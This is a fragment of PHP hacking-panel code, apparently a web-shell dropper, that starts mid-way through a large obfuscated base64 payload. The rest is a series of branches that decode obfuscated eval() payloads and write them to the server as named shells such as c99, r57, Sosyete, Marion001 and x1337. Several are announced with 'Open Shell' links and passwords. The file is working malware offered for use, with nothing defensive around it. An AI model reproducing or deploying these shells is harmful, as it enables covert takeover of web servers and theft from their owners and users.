C3GA9B0JoK7ZiBaviecuiOjdY+aMo0q0fIoVlnbpZDwjjVFQEd0idS1jyJuA/Rkjr6ayhOWYdw1H899gbNhjplTebAnitoZjow8rZNY1ADBwWuJzZA/UXKAkD8s07W2CPwbxpwwiPrwwb8SiUFA9REmb9+hfCvxO4Zj+5ITF5vBwtytoqSubEmZpQB/YEvR2/H9rbeVqwSQ5XIwJ7cCKuxo7V+BR1J5gH5HXcE5S+rfvpcbi04KDuV+x3fIadSrgS9Wp1bPeK+WoLiB+xq4Orcdxtn4R1Pd4P3CWD87cxbnz/bp6/JyXzX+4R98kHT8VcwK8Om4D21scim3+zsXtS+lCaKyWwamo4lTlns9lZZsqjpbt3otah1bzi8kcsOJnTfhJdi8XWK8HQ+W/ih6cDiOT/xAzhcqycfRIxW7PJcpZMZvGCtgIME7SZ6zrKPGeecHlR3BzXLxqY3fNyf7ZQ66ArIae3kkvu4j3Xw0kcXCJBlYaYhx1VG4uRI0WQQTI7Od2me4rHzlPg6x2uQDD994enGBHKUjUKDdV5+8OYsQ2o8IA337x7fjGJKRgXn7CBO6gMTmEMLQM/BVQ+6rNw9zR2/QZvR5EbGaKsJVcRLv47/HtuNLfZzXplcK3RtrZC4wb6m/TGi8m6V7ycS7GhTTZdkIouNtV+IGbkt8ufifd4GIfblGZvmN434k0s/Nf6xS1D1kFm2K75rtHeoF1BuRixa8nGmFrqmvgDqqsLPjVQ9LgQTkuRn5TUV1FerUlF24zzWMW6KMD/30r+jIcPFKb0NptcY5HUzuD8ZuJs5HlwdH0kFY2uEsDw0VyA5REZz1fUQ55JZv2F0rJ/S7ELCFA65D7GalB4gT0Tt3DzCAvjbb86nZ+H6w5r7a21hS/qPO8D2+3Fn76PS6fdCXw6x6pyjTERAAYruoMCMnZRC2GY26kJr2FybY2m1HuBguBCkJpOriQ4FQZ9GULRb2cVq4KG6CI0kw7qbotkwwVEoMGccz7+a7a2Txa79IMYkRxD+JEaVHTR4odf1SmSX0lNDUU8ZfgeiKYqi4Z4dqD8J7e3mzNsWOfOG5cerzO+y0CnvFhs21SpjFhCfaheFy/h6+zpZYOZ9yNvqcFzJCBznv5vblm2er6AR5Stk7awja51GGx/ibSpAbalHKayiORg4e/3CA7ysX+a1VujH5fupXawYCa09UGpzJvRUliKZBT70MnLCxq3vDHKn4kX2GyB5gb8RrEfTDY6n4NCoh4Qr9pqs+zjKPCOi1t0KEeXjHGxOQps3iBLumeZuvtCcKk7yvfrEMpJKtEJgj+4lI3Td2IQccmoJqeCCVySGB1IL3d2nznow4epIRB7TJCXquKA6bWRnKuO7xxACTwfYhyYbWu123/LHiQBuLTsqMaIoxU0iT//jXCCj9F721dsNv/wDonyDlwV/O4EYuTEYFyZB9wTJlRRByzcLXzUl5x5oO94hUaWgYJQ1OniaL3Qkk56SFh8hq2JJlAZbyJyrYQQkwlZnBnFGSoHL1lhiHU0ETlxgGH3WVObyiCo7PSIPq+RC8UML1AXnNwiMpc0OLgV6G3V6HNUXcHVMtfrfuVdwYGEQ3Xl9+sMLXRcPecQC+ygO31mJ7AcEyQTLoqwFWJe8+dbp4QDOS+0F9bz1cn3nhPz/kIHquPI4kjqBSRAdOSgT1FIE6o+GsuJHBp0nDFAOClxGkjhxOH0sJzT0NpGxENkzKrarG7OZtOS6u55qF2DNfxw5D+K8ect8eo28CEO5ysQ9z1vHZc/k/nZO2n562k1dBopXVBrfz5QfffNcUz0YYB9Rqx+5GsX0unGinuaLNoKGN70AbLkxcIMqbSh9SOdpeDE8bxAXs6xBT3QgBXN8idBEsuTkSOeXMcp0ntFmtcRPtCDAclyxqvpaovuTe1lRdR0o4u1Ip3oSpZpt7/fVpLxLR7iP3mv5+JTMClT34iXwWtM7hk180f04xxSkxP9LWJD6qSsNBLXwCtg39rXg4e4E3Egf9mXv2124pg5uJizyzDMILat6thsbLj3J7oBEv82SE/XLHirP6Oi1CNv84fpC4u0+kXpTPkEVXApgo7bVWrIIRj9luMQA1CdNo38VjpD9GcWLqzoTB2kIkB8MpcKu4yUQujl0kcRrLdyw+pQl8DHdUZpLR/ew2SabtmS/ihuuqK+qcXUdWBUUoJfoXPhUpphoVs5awYLCsAj+hunlyYPcIVS5UKQE75q7t9WE+J7l8mzPjqpj7Ttc8LRiuypQ+ROLjrmFKDMF4dzWiV2GcOsJOgAYkwnTTTna3WFquWPJqr2X99Cf8/mINECLErTcmfW+V8KAzhaROS7ctuFHHLrHpYipbxOjhBzSSnoQoVxBVdKccrFoFjdcadiQL5n7zJZO+A6W3Mb+Ey64KV1k5YqrgCJEJYSSVTuyMI9BkujSrr9jE8SZaBpwuAatD3NP2aYwmDI6gjH5LxrdRSbggvM1mwkflpmcSYaqIc8FeF5LE+DSlxuF7NzEx5HeQT7sM6KV0oQOr/4WkWfySm1gTVdN7iNiuaVKN6WPJGeXwRydRiXoaRW7zqEVrvIMrzm9TuMKLmAm/ZI8r/saeiMe2nFp24BLxgMVrFnvI8kZ8UHTZ0OSBmRAkhhUPTRZsYmUbXROx23p8QFUROFpeNt7wYeWRqAMMPo4vjbpc7l5nqnpss12F9m1npi8rbFF3e8ZP3d6cI5me6trs2EdqNlq6BNN7lJvy1pscT2XkUYHETY8Ihj28oXzVhAtfETRYW7zNrVnlQLOFwObkHiOZRqgSJFFk/LA9HfVA/mfDzafrq5J3oRfMBX3j+Q3uWTUk+D5R5bKGwq/jeBBxUqEDQ/DA84RZdpFD/LgM3Bl9Ad7UJwX4V2i9j61CLxCa5fOlp2Xn0uOuRg0WxuowQ6VD9dDPQn8NrD8LMivgn5jbzZUt7eaMByNujWmao2IsHVgK0w5m5zBzROCTnYh+z0FnmUOa0VekvyOFU7eyQ8qOS8Y40baq25qaSyYF1rev4IclZ4oLQpQvvb4kM3t9YNgqMk4dX4QRYoplNzrcyoxst5MtWLg7qQx3Gg7uv2Saj+WNkfInXc2bThWWIw/4PRJKjXwaUVz1VPGn6UGIVwd7n1WSKNIje+ubBB575TRh+W9ceQXb0CL5JCR4HAbb2Gw/H8cKFGxP7vJSNPsBzi3NqImXl1kfFLa+OTdXOWF8cOKVtbrXD0zk9RPjO/j9PP7SuqMCjPxIN9XQ5Ye1vj+np14mfsCvhZgmOIc4caVDxY+nJVjf7RPzLmEU7qmo/QVQBIS0TX1pSi8i5Wd8UQC97iPYv2gIP2+7IF9xCC6ygujUdnRWWc7WZA6hg/pu7PL057zvysfrIk5tOyx8aqSVr6zhQpIGKE0HMlC41EQ+vrDzAi7BGLrxwpckTwxqi2WbWwXSHOO77d9R+hoINzgoJs/ybnSAFqbdmoXXvNZ/3rbtcNsgppaGVlgrDrGCRONK5TDxiKuc2lFXmgecdA1esNowqgKcdXr9ZUWgo9A1A1zQVsjAx6e1VBdsJ3vMM+gm6xfcUVaxQ4OmvExQ5DIaGSfz9rmqKicKTJOrkm/C7tPjM4QihPcPUEzruRI9EPNXAYkrc/WULPcxgyOe+RUJtnG7SonGUP7UC+RRF0bz2IHhSvwK9oSKXR0b7g+Xognz0obJWiG4A0QHXUpMxQkG2qcSQ1pSTXwDYRwJqCmiJIKsHge0nZdUp62OEiSgoRTewgC1QQaQkC3xgMn2SXh44TJAcNzTflyzJy8KLxiEPJodgj/SI1dQxaBzJiwSh6IXuzB91e6JZ5qf4bvgUwmwyfVBgK9nFn4pphPmw23XRH74nQYqNgk3P/J70j/55HAxUMdWdR8jTKMvDCYealTns7irJplI8+GfcKesUdlBi2Rp4fGIHL9g1stN2yN4f1ZEZGjHbx4MFTOjTLG3hCwfQWp+/vmkFojOer/j6X5DDna3kZXCEpF/+HWHp9jyoL6T+HFOOJF1cR4CZwa1wElYUPltDMSxNHZY7cZlq/WHyczaCF6IbdcIpXq8LycHDfnE0hh7yyZslX0noZF5JJdCHlmlUIHpISJz374nrlfUDKmCjbNJ550PD6udb3zJMQOLyNbnqjc5OMeCfQk8yRc7eRpMx5p+j8Z3pceqk1rfzM1lVt95mZUlDzekUFzO2g+j9cvKrFruDVa3Wwm4Ewt9Iccixobv35UA1VD7bjSse1uodzlW7Qm5W4ts5sZqN4rWVWcjsLqOvDX4oQ2NtL2eMZQtaaD+o0eT62Q2XMm6fHJx+rz2HpxnrHRjlufxOvizkzpINa8yLGuZq0gI//z+k2mOWof2kUyx/bLnxFZRaim7T2B8fHx87yn77SCLssrNrWU0pOvovFFldVkZsdouPEX4QuiwQVobhy8bmEAAAO3t250t/5uGH+H0jztW+cDazO6ZCFhv+fXp43HLIUzR3eS76jzjMfYnaLNAv49mfYm99LaTCwdBaPsoxVoHAVcKiBt1oUWv87xkBcHvi0vqwYyCQJ0PK2gCdVKBFGW68FA8F2c3+93eYTU9UL4A0a4h+Kijp/mmE+RCCp1iNa6YMKRoXVff8O5xlhuXGntVJHYujAAQn0Dn5HkMrsY3uzGF3tMkCiR0r6pvNkxTNy4xAfTn+rB/5FqQTlPFCBgUENz548P0eSLAQp0gAGAEZDRXL4OgdZ+lcdOI5iqRxlpq6JSau7zjnRFvJ2LXFI+Vpg+bB2M8TcyaAOs/oeXbo655BIJqTAuIWJs6hOGLQMng58QhHhalshibwPmeutbENnZgSWf8dPhwMpsrr3vXGPYxp1h/oF0yiFsGO25usLNW5ng91lH8pcdXBsdqqlUW5BFtXtoc5rLB+IWVB6BuTAIuhwMcfX7s4pHNyhwbEngdwuW/e2q4GO56Az4ijurPD1pTHPwE6ebx+TqpwLublEn0Vf3pTDp2fuc08qXRx81W6PGtL4OGlQzRupzAQOpuwu9avKjqRJ+yRz3RioIpNOYPgG+mQFeDsoCV2E6cm7NakCnhPn232Quq3M+daDAQ3efzYvvaZR7sb63EUlsYwUe0iBn62ZHXddqgqAfRns8P7l9Q2AUW3RSNEwNP8dMZ4Coji2UW/zjzINPIwmcq15Co5ksmn8HjBvFhiaaTvt4sop5QB/51l4hxql+mZNDYA0KpMdUPk+KUm76ghCjVPi67k9lpvJ64VdcmpXNspOUG29mNbgflhI56s7pmPsRmy5Rwap46199fDgDNMBXuywPvLSnu3FiT0mjXZG+CzZ4n98d/fGbnxrJvIbRYNqisVOTtm/X9MeENOb0r8g8ReAfQmU9ZSZ3E41RgrMAGNAzCTd8++etr4b6RUGejAQ/1fz92GrO+vs10FdC98DLTA2htp8/ANpkZ7To9mOs26daqRq6A3MGBJspaafAayd97xAAPJ3O6aZ9uf8Ht0MZl33twKylDDKrfX7i/TQZWzqEfC0m6JbDgIz5QO5rh4sgBgF18fRPeAbz+PlDXSEf5ZaMqrgqqaxXf11eY2hC355ABGlgCZEYZGKhhQNJTgA9YStPXlh/psNA04acR0jZ3pTgEVdp+7HMt9TJ1hLXpies4DZAn/bX6wYtAN3LZpTwNy5RS7HmdRk+6Wnrt5dewZjXRXlRo76dz+aOwIXVkvb+HmISRfKTK/pjMLREEOJ0rkk0t0g+WPZg7SdFHWcWjaKeiWnvRiQ7vrecXWNTg/sTB9Cq3JkRnNS8qDKF2SUo3CLvwa7a0wBu1KBSmLhbcWvpaa2D/4C0HTGSpIotM7quDOzoMq5dU7cXd05KAF5vnMQSfo3S0TGUILS0Ylyiyvtcd5MfePqF32zbfK4An8iys/OExbS/ONZP8DK8eR5yYRSatqDZcI44SXvcAvoJNB9MpYxEIw2usHBVb4ItCFX638vAydNoDvYYR/bTFQDe1b0dBzA+iL9C6kHMux1m2OSrtxzo1qzKPc4EKx4YCnHmzizgSoD1kYXey62jBVzPIkF4VuCoyAWOVbsYpAqIezW14IfcnnQKB1OdQzo1p+WLC+omLNMXXHsw2FFvZudn9R9OnhEfqrXfds6HnWVaTTUt0pQ5hAD4amghKSwy/xLtGYWi/HDBKv30PKxi3vt33NfdxgakLwA5C/35kDkRi6rWEOFAOb7FJBi+xwECTKFmiNpxKFRomnorcKzCMBGzOFuWjbJlqMRgy6WnahLcX9D9vAnpJAvlJlAlFaQbxNJyGLJ5OLhrHOqM9UAgBu7OYO8rboJzjJZRfU0FMq9kOJnWZ++UtWFQJHoS0kbJkGBDQIyHKyfc8gNrcSm1WI5dOqflZ1Xg4B+xu15+ds/aShNSL3VB+BhOVbLqSgA+QKdYTcGbm2vBiYJ6rQYPly5zrpRTi51pbhqo3M+9HDSXoQdxgHIgszvT+BDFYAZOobTMgEiNQZAi6bcH9ApRchKZieSDKTlh0xHTD98j7pLMrDm62zr2J6RXwRk1XVFfXfj2sgCjCJOUX6MpUcS+bzyl90QTESC/AKWJRdZwtdk9kMXZ6QoOBlTWYDQPMoWnDnpOsBJn48qn2j6eAbxrbVyb7uHM6bb41+HH2mF+ZZiyZHIATJ4f2oqvEzFdiG6gKmyLZrNrxJlzC8l6voh2uYLhwZNk3gwkYAPFOX49TTYhTBdceXeJQ5QK48aaVS6hnhBzEa8PnvgKHKhnk0Zg7bW73S/DhcrLYoMscg6Zd/dg8CliKnSUC+Q3+BoOFnW0z5icmEPiJeZivwblx8aAqUf7bhQHVA9wwg6+kdIb1Yxb5XSG4EKIbWKmyF7eLxcEBp33M+ZV+DpD8eMV1f1QvqWiUsCR6jOiiTmFovv1tHsxRho9w6eKP3ZucScGmajzyBwr55S3uzmNvhOBrgKJG7kQmyHaeAUI0FGcopZQ2emBrcsYnaYPrltlr2vJoyE+cx7FIa7EJj5pqJ3VP+XlstmS5kEgBH8L3cWQjHdy3qKqzhPftamxeoWrUYk+te909eNBC7FDL97qlzQC/Qv7IAfxzfLUZICGBf47kzghXUnAZUbhgZk9QACUasqj1IzJyQdBwXwLZ5ka0OJUBBDAW7X5x34ZbVP2/xPThwu12dY4IPkVf9ez3/BkHA0z42VfDbCt92yl871HUadHzYT7zjlT4OYZn5rlTcuEzocRzDME/tfDEKMQZisl923pNdl/XHjh70/0sAWvEo7rCvcJ88qIq1HIo34K6nrduefvi7+tAxX6pnp8m3zfjcx446z6Uhrj0NER9tSq9qgELa8ZbJWT+IWBt7ifx/OQCzwPbS9M7fvr+ZwznXtSdw+OI4D3nrGlykW7rwQ1rxCJnBpXcDwc0npsu5hs05PtqVvsgqLpLrMdWyAWgxOvVPe5WwJ9YmiqFe8/k9KbXCSbCoyTqP9SCn8gcPYHWmT8BTiTltnd/dQ5OgMtUtRojAS3C41lsXVa7dnK3ws8Tm/jEdj6xeR4enD+v4cr+vIZKAT15fq01KTyXqZiXR6F2a9S8SwSAdAjQ+p0BCQcreoD1Qcxc3hf4TveU6cBuztPEwxEYROrXx6QI7UGFV/cKF7nwizDCs/TGEe1Swy+QHH2OvExAhpO1tL5Qsqiz6r9RPK2zrdxFEcJl9FM3x/qdStM3QxSmsxkyMtVMAREHHyvkQVvaPYJ9tkT30F4BIr4Qgq+Vi7nuCMJQY3rX9zf+2voIGlj2sZ/+eol6qqBMOoATw/RjPleoYWBA07uomdepvMlrPqErTfCdfwTFV5z5BdVN2O1D3SI/y8XunSdcMTBwOQTYYvoQPhHzBPip8xXrPNTtjGbzhMlMayRveVQdMjeo0jaPMR3fv7D8ffubmiKpgcVU5dH1VVn4dAWSBvWFmLKfCEZHurnpuyNG6VV8Eb32G+R6zzFwbYXn+Ka/vbT4svqNuB0cPQtcPAIVlCEiZ01Nx+0YYTvVjDRkCjnpwOvnbEGkLz18ZMkcaGvXyRwbcOQjkZeI5wvipf32ucXQ6X6PczBhK9IhM8TEvkiIgCbjDgPiFfVVccvzEHjABsIzA2DfadjByGu5QjMPD3Te9CV1635o3FvzXsEgXT37crsXDNdasOg9Epi68dnvXFoAIERKMMT4IlyfQv1q7xe29QJQEEAsLlk1QpWDwsCb6PxrP2nION3m0j8NwX2CUlN8Ust6nlRK/daKTzGwrt6PxPzexRHRjhWdm/gkmInGFmPb0dLFkW0zc0N+zMFp1u/t4nKEKywGwkS0nnog/LCIjRGBGdmXlAg6eR2Iax35K4SVggvade+3jLWO07CCPMPGhYDDNCRJJPs0B5sWtb8ajxpTzRMXa+lzryw3tHDqR12a9C/StClhU6U3t43oWC5+9aUK98YZVWtJyl075SaXD4+IasCEiXRoQPs1ILxNgd2CjW0bYLNjyFEVqQgYj/YZ3WfQdNCjiVJVp0gYwpAiQemBLiJKGH38xWxKVd+9knrXgzeuUPAMbWokNhnP6beMDDOcdBWwZmuwxX0+IOY9AK5LpA/Rkt4yZzzQy/K7kKZIZ5JUzB/joveBWq74uwQhdXETSdx9s/iChXQ1d2HEMlI9Ls2/oBtFdxYwvmnPKjEzc4jcMVsGrlmOMeRAQJuJ58VlmyWjYbM5FpE3YFOaaikn0cUjFyZl/IhHaZFINBvtl3tUWhycaSIHmQeyx3rczRwFr4rkBLHp+oYOUw/a49N0HOacR78TZMIdUq00xV7DSDI8TTnECicEpCjmR67fsPv51sk/7wqCt9BWS1WpZC1Cu4taSAYnzTii60Z7urbOGRdfDPzk7sr+MtlTAMuqzxBFjwIDdp0RxsqsdDUYPRbcbPzReCPQeF86XBsvmxItrnvQ7ipsEVAUp6CiSs5A4YETp7FIFadv+zSrb3Z7uBFo30LbyjDBq00lkBuHby8M/fZmT8I5DYMEKnc/aqIXBgmW6kfuf4zJu3DhpDrU5ialP41tLaASvWOXA8GkuqXusMcM+6pA+ng/gVys6CJ0vbv3oaVd8CEeOtRNDIvJ9Nrr+kXjQP8ZW+bO4Nec6COikmRi8UjLlz3GJWzC7Lp3JnEGL4Rqxm+/WG7DcB9k0dM43IbhvuAOS7+uRmOAVRFKNcMqKd6wEZndYH4YasJ44zOwpsWKxZ0WBydEgTmvtGp3t0FD1RwcM2e+h2LU+2W8RKwhtcXFxw+QITKcRWMGT/haa04wQjzzuJLZJPMmn/WVYG8GQDEBtPxY/KwqzBUQDatM1jXAvWbtevzcEzSL5dn3sPAOkk6fXk8bAfrcGjRNySdcveaaNxFhnR7XsZurB9AHKDRAMdB7Ak8Uq68TCBwMVojPG8rNPBskos2C7D5IGc37FqQuC8FA64H3Ye2YaM/G9/DEBWY/2M4A7R6IqXuf+h6ZD1ow+45q3y5xNCMmnf1AvWq20qA57SwGdkIqO62rpPc8wS35aKsC/Lr1JL9AWLvJbCABsoYhUhPqCSDPOXzKkdLWGMps1UPLYP821JqqlQpqcb7trg/Fqq4vCz2HRbL3toc/WVG4rX15O7t+te2EpdeMYB+1R6bZ9TlsPsHSbwL3yzEUYGhVsW+WUAc5Mgp234sEXgR486WdmETw7yNI3jqPkDZdklNph6/KY0PIvJPHMdH7cG77IjrrjknqPcHoh4TB8d3u45k1c2CPxbY9yrsDfXzsHuiGyaefTROEHzeIwTQ/JzCyN3D7qi2QWoWLpAuUoGtYudclmYicp4UK3AfQSGNE+Gxa4lqIlQ5f0M0jNOfNxywDWsLdNHFA99fBoPd+b3CZvOFi31cK3Vv/MyPUWMVkABRgCWzFIv78ILAC6hv49/+AoZvut82LrPORbL5lLztdXnZLegXCydDXW2JIc5j6o1qJ+lROFLGjmuosSpKjueiK03LCuaAZeucQ1lPOECcqrXvI6iiPv9Y65Z00X2rWa+T9rlqezcKnA9lVj3B/YiFCJbymChU5cg3y69SMZhQas7dKugUKO4ahouXa6/uMCmrQ9fMDMoqbM6N4JwD89EjQSGifr8HSm72XbsntNHsln523lHI+qnFUXKrf44GBF7XElVVSSX+96sfQmlGGzuXErFk4sdbFIz3wbrMMPhMOFaW43MBEGXiT1KG73LRVIaxoCJPOERzRGhTY6yIRvwOZp0ZX7XNwWN4aOskhjDKKtRptwDDEEOsomCGgaxwx8zmelhX3Q9lUYRA/X5pi4JGe35SraS7/2PFYE8xM8FQlVwPa5Lv66Gu6pdYEScGoyguwwbNQejMlLkvWmi0kBLniJdHx29y+E79RlC+SgmS0IqUvaspGdHsDOnDPiU9+9g3O5hYMw0ldOWZT3x3xRbOiIbnCAEIbbN+6hXhydOhEKW2TY3jjvbhyT5HF/gJfsD7ss4bzcbXaesLgTU0OZSKALU4wR86jp0zRGwobYTJDuaEz0wKCditL4pswRZUbDSts7N5iZqzOUgg/isWQzYTOFgok8Ff0/e2zgPI9bv+6vOu+aOM1/+skXnIC+6efO9Fl+V//fpf23/zN3/y+o9iPPzaJA/95N7j/9uCPveSq//b4X+8YV83/o63s/pF9zpH9YK6fW8T98854P/d6+x9t9bbO3/78y481nst8/fUv/5S0cd/8T2yf9/ved9XrNOYf6wx9X/1vm+T999v3wf/41+zf/GCH8Zp/brn2A4Fg/Md//WGK7L/sHf9zg71/3jvvl7//vwE0A1IQ';eval(gzuncompress(base64_decode($wo0o0i)));};?>';
    $file = fopen("phc.php", "w+");
    $write = fwrite($file, base64_decode($vhb));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='phc.php' target='_blank' style='color:red'>phc.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>leet</a></font></b></center>";

} elseif ($action == 'vhs') {
    $file = fopen($dir . "vhs.php", "w+");
    $vhs = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNwQkNvTXdFQVhRcTJRaG1Hek1wbGhva2VKSndqaCtOU1VtZ3huYTR1bnRXNzltTklOWllrSllvWUZMVm1TdHR0MVU1ZUc5VUZWTU1YZGNkbi9RdDVOTlhuSGczLzB0NTg2dGV4cDhLTm4xakhsSnBMQVRWZlMzTUlQTEROdU16djNQQlE9PSIpKSk7Cj8+
';
    $file = fopen("vhs.php", "w+");
    $write = fwrite($file, base64_decode($vhs));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='vhs.php' target='_blank' style='color:red'>vhs.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>vhsteamno1</a></font></b></center>";

} elseif ($action == 'c99') {
    $file = fopen($dir . "c99.php", "w+");
    $c99 = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNreERrQXdHQWJRcTNTUXFFVUhZaUNOT0lMVjBsUjl0QWx0Nlkvcjg5YVhEVXl5MWUxUUcwaVo0QW1lRXM4dFVXeUZpRG9SWnVkTEV3NXg2YmVNTnZaT1RzbmYxVGtpTHpxR1IrOTgxZ2xOclJhWXNJQm5RL0hIQnc9PSIpKSk7Cj8+
';
    $file = fopen("c99.php", "w+");
    $write = fwrite($file, base64_decode($c99));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='c99.php' target='_blank' style='color:red'>c99.php</a></font></b></center>";

} elseif ($action == 'r57priv10') {
    $file = fopen($dir . "r57priv10.php", "w+");
    $r = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswVFk1SWRRcXRESEJSMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxQVJLQUFBPSIpKSk7Cj8+
';
    $file = fopen("r57priv10.php", "w+");
    $write = fwrite($file, base64_decode($r));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='r57priv10.php' target='_blank' style='color:red'>r57priv10.php</a><br /><br /><img src='http://4.bp.blogspot.com/-kal_gIsy7D4/VaImp2VbLQI/AAAAAAAAFx8/vVEDH9gghfc/s320/Untitled.png' /></font></b></center>";

} elseif ($action == 'r57bypass') {
    $file = fopen($dir . "r57bypass.php", "w+");
    $r = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswOVNyejluVUtUSTFRMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxQVJLQUFBPSIpKSk7Cj8+
';
    $file = fopen("r57bypass.php", "w+");
    $write = fwrite($file, base64_decode($r));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='r57bypass.php' target='_blank' style='color:red'>r57bypass.php</a></font></b></center>";

} elseif ($action == 'r57') {
    echo '
<center><br /><a class="btn btn-success" href="javascript:goaction(\'r57bypass\');">r57 Bypass</a><font color="black"> |</font>
<a class="btn btn-success" href="javascript:goaction(\'r57priv10\');">r57 Priv10</a><font color="black"> |</font><br /><br /><br /><font color=Yellow size=6>Contact Us:</font><br /><br /><div class = "fb-like-box" data-href = "http://www.facebook.com/AnonAngelOfficial" data-width = "500" data-height = "300" data-show-faces = "true" data-stream = "false" data-header = "true"></div>
';
} elseif ($action == 'Sosyete') {
    $file = fopen($dir . "sosyete.php", "w+");
    $c = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNIYkRvSWdBQURRZi9GSjF3dXNtNnoxa0RvM1VORkM3ZkxTRkltUkxKczBwM3g5NTRpcDBhNjA2dlBTelUrNGJXUEVidlBzQkI4NjRUclZPcTVNWE9QRm44bTdRa1Y2MTRVMS9zZzRHSlB1Y2JhTC9DWnR4T0NDY0JwdVNjbkhESUFwdDZpYW1MSzN4SmVEeVZZZ2FnYkRWWThaUmd6dUwxY1d3dFRTR0RNMTU3VE1TUWswdFQwaXNBNW1TQmtJNU9ub2VKNTMrQU09IikpKTsKPz4=
';
    $file = fopen("sosyete.php", "w+");
    $write = fwrite($file, base64_decode($c));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='sosyete.php' target='_blank' style='color:red'>sosyete.php</a></font></b></center>";

} elseif ($action == 'Marion') {
    $file = fopen($dir . "Marion001.php", "w+");
    $M = 'PD9waHAgCiRQYXNNYXJpb24wMDEgPSAnTWFyaW9uMDAxJwo/Pgo8P3BocAovKlBIUCBFbmNvZGUtTWFyaW9uMDAxKi8KJE1hcmlvbjAwMSA9ICdYWTlQaThJd0VNWHZ3bjRIQ1QyMGwrMmYxQlMzcU94OXdZUEhyWlNhcENyVXRxeWhScVRmZmQ5Z1JQSHdDMGxtM3B0NVUrL0dDcHRtUUlJYUpOOC9HemIrNGp2TEhGVmhoWFIzRG9SazJ3WHBGQ3BaY2tRWlNxRUx5eU1pWnJsM2UzRmVreTJJNzJObS9OMi91WkR6QUEvT3R1T2lQamE2M0d0VHlxNDF1alZubngzUWtEcWlyekRzMFJ1VHlHQ3FnTG1ZdDRWTjZNRTdIQ3I4bzQ3TEovVWYraFYyNUFvSTJ2bzYzK3d0WFZpUWUwTTk5Q2RwdW5zZ1ovdk1GTGxReUtTSHF2RjMxVm1MdEZSYWRrcjdpUG5RajBHUWYweFd5K2svJzsKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkTWFyaW9uMDAxKSkpOwo/Pg==
';
    $file = fopen("Marion001.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='Marion001.php' target='_blank' style='color:red'>Marion001.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>Marion001</a></font></b></center>";

} elseif ($action == 'x1337') {
    $file = fopen($dir . "x1337.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNIZENrQXdHQWJnVzltQnNwM1lDUXBKOG5NRnp0Zk1peFhic2k5dTMvTWtQV3ZaYmkrb0E2U01kd1JIa2FjblVhaWxERG9TVnVzeTQyLzU2QzhMWitoc3U4d294bW1vVXRFd3ZQcmlxNDRvYzdYQitBMDg2WVZvZmc9PSIpKSk7Cj8+
';
    $file = fopen("x1337.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='x1337.php' target='_blank' style='color:red'>x1337.php</a></font></b></center>";

} elseif ($action == 'r-p') {
    $file = fopen($dir . "Robot_Pirates.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswallpSXNpeHh5ZzFTMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxTlMwQmdBPSIpKSk7Cj8+
';
    $file = fopen("Robot_Pirates.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='Robot_Pirates.php' target='_blank' style='color:red'>Robot_Pirates.php</a></font></b></center>";

} elseif ($action == 'I-Jv3') {
    $file = fopen($dir . "1n73ction.v3.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGQkNvTXdFQVhRcTJRaG1Hek1SdHRTRWZFSVBVR1l4SzhHMGtrd2d3VlAzL2VhUlUxcWl3bHVoN2lRV2NCU2RYdUlsTGUxaGFyQVIrNUMvdHFUZmwwNXlod245cDlYUHp4RGEwYUZpNUxlNzhoYklvSDJWUEhvM1lxUVYraG1NY2FNZnc9PSIpKSk7Cj8+
';
    $file = fopen("1n73ction.v3.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
